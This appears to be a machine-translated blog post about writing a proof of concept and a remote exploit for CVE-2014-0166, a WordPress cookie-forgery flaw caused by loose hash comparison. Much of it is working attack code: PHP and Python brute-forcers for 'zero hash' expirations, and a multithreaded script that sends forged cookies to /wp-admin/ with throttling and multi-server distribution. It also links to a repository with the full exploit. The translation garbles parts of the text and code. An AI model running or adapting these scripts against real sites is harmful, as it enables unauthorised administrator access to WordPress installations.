IMCAFS

Home

0166 see the compilation of high efficiency exp

Posted by tetley at 2020-04-04
all

Preface

Every time CMS 0day comes into being, it is the season for hackers to write exp crazily. Although writing exp is the basic skill of hackers, it is not so easy to write a beautiful exp. In this article, I will take the compilation of exp of * * cve-2014-0166 * * as an example to talk about how to write efficient exp.

##About cve-2014-0166

Cve-2014-0166 is a cookie forgery vulnerability in WordPress. If you don't know about this vulnerability before, please see the detailed analysis first.

In short, when comparing the hash in the cookie with the valid hash, the non strict comparison operator is used ("! ="), which leads to a kind of hash mismatch problem like 0e243724638263727679836827364732 = = 0, which makes the cookie possible to be forged.

0e243724638263727679836827364732 == 0

In this article, we will explain the writing of * * POC * * (local verification) and * * exp * * (online exhaustive) for this vulnerability.

##Writing local validation POC

POC is "proof of concept". POC is only used to prove the existence of vulnerabilities. This proof can be conceptual, rather than a program that directly exploits vulnerabilities.

Through the analysis of cve-2014-0166, it can be seen that a hash with the shape of 0e2437246382637279836827364732 can only be found by traversing an average of 300000 ﹐ expiration time ﹐ (variable name $expiration) (for convenience, this type of hash will be called ﹐ zero hash ﹐).

$expiration

We know that when we really exploit this vulnerability, we need to send a request for every $expiration traversal, and it will take another ten and a half days for 300 million requests to traverse. When we send POC to others for verification, it is impossible for them to run for such a long time, so we need to carry out local verification to avoid the process of sending data. Our goal is just to find an expiration to make $hash = = 0

$expiration expiration $hash == 0

First look at the most direct POC, just extract the corresponding validation code in WordPress, add the function of traversing $expiration, and a PoC is born (see the complete POC code here). Look at the key part of the code:

$expiration

One

Two

Three

Four

Five

Six

Seven

Eight

Nine

Ten

Eleven

Twelve

Thirteen

Fourteen

Fifteen

Sixteen

Seventeen

Eighteen

Nineteen

&lt?? PHP

While (1) {

$cnt++;

$exptime++;

if ($cnt % 10000 == 0) {

echo "\rTrying: ".$exptime; //real-time status output

}

$hs = gen_cookie($site_url,$user,$exptime,$pass_frag,$scheme);

//when "zero hash" found, output and exit

if ($hs == "0") {

echo "\n\nAfter ".$cnt." tries, we found: \n";

echo "Expiration: ".$exptime."\n";

echo "Hash: ".$hs."\n";

echo "Cookie Key: ".'wordpress'.$scheme.md5($site_url).'\n'

echo "Cookie Value: ".$user.'|'.$exptime.'|'.$hs.'\n'

Break;

}

}

>

Traverse $expiration one time, find out the corresponding hash, and then compare with 0. If it is equal, output the hash and end the cycle.

$expiration

But when the program was written, it took several hours to traverse 300 million times. My laptop has eight cores, but when I look at the CPU usage, I find that only one core is used. Therefore, consider rewriting Python into * * multiprocess * * program (see the complete code here), and make full use of all 8 cores:

One

Two

Three

Four

Five

Six

Seven

Eight

Nine

Ten

Eleven

Twelve

Thirteen

Fourteen

Fifteen

Sixteen

Seventeen

Eighteen

Nineteen

Twenty

Twenty-one

Twenty-two

Twenty-three

Twenty-four

Twenty-five

pnum = 8 #Using 8 processes

def loop(tid,flag):

exptime = exprstart+tid

while flag.value==0:

if (exptime % 10000 == 0):

stdout.flush()

stdout.write("\rTrying: "+str(exptime))

hs = gen_cookie(user,exptime,pass_frag)

if (re.search('^0+e\d*$',hs)):

print "\n\nAfter "+str(exptime-exprstart)+" tries, we found: \n"

print "Expiration: "+str(exptime)+"\n"

print "Hash: "+hs+"\n"

flag.value = 1

exptime += pnum

if __name__ == '__main__':

processes = []

flag = Value('i',0)

for i in xrange(pnum):

p = Process(target=loop,args=(i,flag))

processes.append(p)

P.start ()

for p in processes:

P.join ()

Taking 8 processes as an example, the accumulation of expiration is divided into 8 numbers and accumulated in steps of 8. That's eight times faster.

Take traversal 8 to 15 as an example: single process: 7 + 1 = 8 8 + 1 = 9 9 + 1 = 10 10 + 1 = 11 11 + 1 = 12 12 + 1 = 13 13 + 1 = 14 14 + 1 = 15 multi process: 0 + 81 + 82 + 83 + 84 + 85 + 86 + 87 + 8 it can be seen that single process needs 8 cycles, while multi process needs 8 cycles at the same time, only one cycle.

After setting the information such as pass_frag, auth_key, auth_salt, we can run the script and start running:

pass_frag auth_key auth_salt

##Writing remote exp

Because a large number of request packages are needed to exploit this vulnerability, efficiency considerations are more important when writing remote exp.

We consider improving the efficiency of exp from the following two aspects:

*Reduce the amount of data in a single request * reduce the waiting time due to network latency

First, reduce data traffic. We choose to access / WP admin / through * * head * * request, and then judge * * status code * * of response package. If it is * * 302 * *, it is not successful, and * * 200 * * is successful. In this way, the data of the body part of the response package can be omitted, and the amount of data is greatly reduced.

/wp-admin/

On the other hand, the delay waiting time is shortened. We use * * multithreading * * to run concurrently and continue to send and receive packets in the idle time of network delay.

In addition to these two aspects, we can also choose to carry out some further optimization. For example * * automatically adjust the number of threads * * to reduce server errors caused by too many threads, or add a simple * * distributed support * * to deploy scripts to multiple machines and run them separately.

First click here to read the code, and then I will extract some key parts to explain:

##Head request reduces data flow

One

Two

Three

Four

Five

Six

Seven

Eight

Nine

Ten

Eleven

Twelve

Thirteen

Fourteen

Fifteen

Sixteen

Seventeen

Eighteen

def testCookie(url,user,expr):

global errcnt

cookie_v = user + '|' + str(expr) + '|0'

cookie = {cookie_k:cookie_v}

Try:

r = requests.head(url + '/wp-admin/',cookies=cookie)

except requests.exceptions.ConnectionError:

Errcnt + = 1

Sleep (8)

Return "Err"

statcode = r.status_code

if statcode == 200:

return cookie

if statcode != 302:

Errcnt + = 1

Sleep (5)

Return "Err"

Return False

This function is used to test whether the cookie is valid. As mentioned earlier, send a head request to / WP admin / to determine the return value. If 200 is returned, cookie value is returned; if 302 is returned, false is returned; if 500 is returned, err is returned to record the number of errors.

/wp-admin/

##Multithreading scheduling

One

Two

Three

Four

Five

Six

Seven

Eight

Nine

Ten

Eleven

Twelve

Thirteen

Fourteen

Fifteen

Sixteen

Seventeen

Eighteen

Nineteen

Twenty

Twenty-one

Twenty-two

Twenty-three

Twenty-four

def action():

lock.acquire()

global expiration,cnt

expiration += 1

CNT + = 1

stdout.flush()

stdout.write("\r%s"%(cnt))

lock.release()

Try:

#Copy expiration value to expr.As expiration would be increased by other threads.

expr = expiration

#Loop until no error

While True:

result = testCookie(url,user,expr)

if result != "Err": break

While True:

Threads = []

for i in xrange(threadNum):

t = threading.Thread(target = action)

threads.append(t)

T.start ()

for t in threads:

T.join ()

This is the multi-threaded part. Note that * * thread lock * * (lock. Acquire()) is called during the number of output attempts in order to prevent output confusion. Then release the thread lock and send the request package. In this way, it can not only ensure the normal output, but also ensure the full play of multithreading.

lock.acquire()

##Reduce the number of threads intelligently

#Adjust threads number

errTolerance = 0.1

errRate = float(errcnt)/threadNum

if errRate > errTolerance:

newThreadNum = int(threadNum * (1-0.5*errRate))

print "\nToo many retries (%d/%d). Automatically decrease to %d threads!"%(errcnt,threadNum+errcnt,newThreadNum)

threadNum = newThreadNum

Here, we first introduce a variable errtolerance to specify error tolerance. The value is the percentage of errors that are tolerated. For example, if 10% errors are tolerated (10 out of 100 requests return errors), the value of errtolerance is 0.1. Similarly, when the value is 0, it is zero tolerance. The errrate variable is the error rate, which is calculated by dividing the number of 'err' returned by the testcookie function by the total number of requests. After that, if the errrate is greater than errtolerance, the number of threads will be reduced by 0.5 * errrate times.

errTolerance errTolerance errRate testCookie errRate errTolerance 0.5*errRate

The final effect is as follows:

##Simple "distributed"

Initnum = 0

expiration = 1400000000 + initnum

cnt = 0 + initnum

The reason why I quote "distributed" is that it is the simplest distributed, or not distributed. Simply add a * * breakpoint value * * initnum to the initial value. In this way, scripts can be placed on multiple VPS, and each initnum can be set differently to achieve a simple "distributed" effect. In addition, it can also be used for "breakpoint continuation". Considering that there is no result in one day, you can record the progress of the day and set initnum to continue the next day.

initnum initnum initnum

Sum up

As for cve-2014-0166, the cost of exploitation is equivalent to the password explosion, but the value is not great. I tested on a VPS and ran for nearly five days before I ran one:

But the idea of this vulnerability is worth pondering. In addition, I also enjoy the process of writing POC and exp for this vulnerability. That's why I'm eager to share some of these tips with you. I believe that these skills will be used in the process of writing exp or other tools in the future.

PS: all the codes involved in this article can be found in < https://github.com/ettack/poc-cve-2014-0166 / >

[vulAnalyze]: http://www.ettack.org/wordpress-cookie-forgery/[POC1]: https://github.com/Ettack/POC-CVE-2014-0166/blob/master/wp_zero_cookie_generator.php[POC2]: https://github.com/Ettack/POC-CVE-2014-0166/blob/master/zeroCather.py[EXP]: https://github.com/Ettack/POC-CVE-2014-0166/blob/master/cookieForger.py[zeroCatcher]: http://static-js-new.test.upcdn.net/wp-content/uploads/auto_save_image/2014/05/03492975w.jpg[threadsAdjusting]: http://static-js-new.test.upcdn.net/wp-content/uploads/auto_save_image/2014/05/034932584.jpg[vpsTrying]: http://static-js-new.test.upcdn.net/wp-content/uploads/auto_save_image/2014/05/034936nWS.jpg

Reward distribution: This article has received a reward of 100RMB, which has been distributed to the author's account on May 9.

Solicitation notice: 91ri has always believed that "you don't share with others, who shares with you". Sharing is indeed a very meaningful thing. In order to let the excellent students have a place to share their original opinions, and also to let more students benefit from sharing, we also hope to give a little heartfelt thanks to those who are willing to share, so we solemnly launched the "prize essay collection" activity! The details of this activity can be seen in the notice for soliciting manuscripts